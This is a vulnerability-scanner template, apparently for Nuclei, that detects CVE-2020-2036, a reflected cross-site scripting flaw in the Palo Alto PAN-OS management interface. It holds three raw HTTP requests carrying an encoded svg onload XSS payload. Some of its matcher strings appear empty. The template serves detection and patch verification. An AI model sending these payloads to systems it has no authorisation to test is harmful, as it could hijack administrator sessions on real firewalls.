id: CVE-2020-2036 info: name: Palo Alto Networks PAN-OS Web Interface - Cross Site-Scripting author: madrobot,j4vaovo severity: high description: | PAN-OS management web interface is vulnerable to reflected cross-site scripting. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Apply the latest security patches or updates provided by Palo Alto Networks to mitigate this vulnerability. reference: - https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ - https://security.paloaltonetworks.com/CVE-2020-2036 - https://nvd.nist.gov/vuln/detail/CVE-2020-2036 - https://github.com/404notf0und/CVE-Flow - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2020-2036 cwe-id: CWE-79 epss-score: 0.03232 epss-percentile: 0.91005 cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:* metadata: max-request: 3 vendor: paloaltonetworks product: pan-os tags: cve2020,cve,vpn,xss,paloaltonetworks http: - raw: - | GET /_404_/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1 Host: {{Hostname}} - | GET /unauth/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1 Host: {{Hostname}} - | GET /php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: dsl dsl: - "!contains(tolower(body_1), '')" condition: and - type: dsl dsl: - "status_code_2 == 200 && contains(header_2, 'text/html') && contains(tolower(body_2), '')" - "status_code_3 == 200 && contains(header_3, 'text/html') && contains(tolower(body_3), '')" condition: or # digest: 4b0a0048304602210089c6dea6d48684d424ba49681ecb0835c3fda1e87848d90511a39562e7ec6cda022100dd4f07c17897a40e424f03c994207533a61c994bcffab2a1306cb1ef3585a6cc:922c64590222798bb761d5b6d8e72950